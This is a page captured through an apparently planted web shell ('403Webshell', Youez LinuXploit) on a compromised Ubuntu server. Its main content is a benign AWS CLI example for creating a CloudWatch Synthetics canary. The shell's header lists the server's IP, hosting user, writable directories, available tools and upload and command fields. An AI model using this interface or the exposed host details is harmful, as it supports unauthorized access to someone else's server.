403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/bsd-crawler-parser/aws/dist/awscli/examples/synthetics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bsd-crawler-parser/aws/dist/awscli/examples/synthetics/create-canary.rst
**To create a canary**

The following ``create-canary`` example creates a canary named ``demo_canary``. ::

    aws synthetics create-canary \
        --name demo_canary \
        --code '{"S3Bucket": "artifacts3bucket", "S3Key":"demo_canary.zip", "Handler": "index.lambda_handler"}' \
        --artifact-s3-location s3://amzn-s3-demo-bucket/demo_canary.zip \
        --execution-role-arn arn:aws:iam::123456789012:role/demo_canary_role \
        --schedule Expression="rate(10 minutes)" \
        --runtime-version syn-nodejs-puppeteer-9.1

Output::

    {
        "Canary": {
            "Id": "a1b2c3d4-5678-90ab-cdef-example11111",
            "Name": "demo_canary",
            "Code": {
                "Handler": "index.lambda_handler"
            },
            "ExecutionRoleArn": "arn:aws:iam::123456789012:role/demo_canary_role",
            "Schedule": {
                "Expression": "rate(10 minutes)",
                "DurationInSeconds": 0
            },
            "RunConfig": {
                "TimeoutInSeconds": 600,
                "MemoryInMB": 1000,
                "ActiveTracing": false
            },
            "SuccessRetentionPeriodInDays": 31,
            "FailureRetentionPeriodInDays": 31,
            "Status": {
                "State": "CREATING",
                "StateReasonCode": "CREATE_PENDING"
            },
            "Timeline": {
                "Created": "2024-10-15T19:03:08.826000+05:30",
                "LastModified": "2024-10-15T19:03:08.826000+05:30"
            },
            "ArtifactS3Location": "amzn-s3-demo-bucket/demo_canary.zip",
            "RuntimeVersion": "syn-nodejs-puppeteer-9.1",
            "Tags": {}
        }
    }

For more information, see `Synthetic monitoring (canaries) <https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Synthetics_Canaries.html>`__ in the *Amazon CloudWatch User Guide*.

Youez - 2016 - github.com/yon3zu
LinuXploit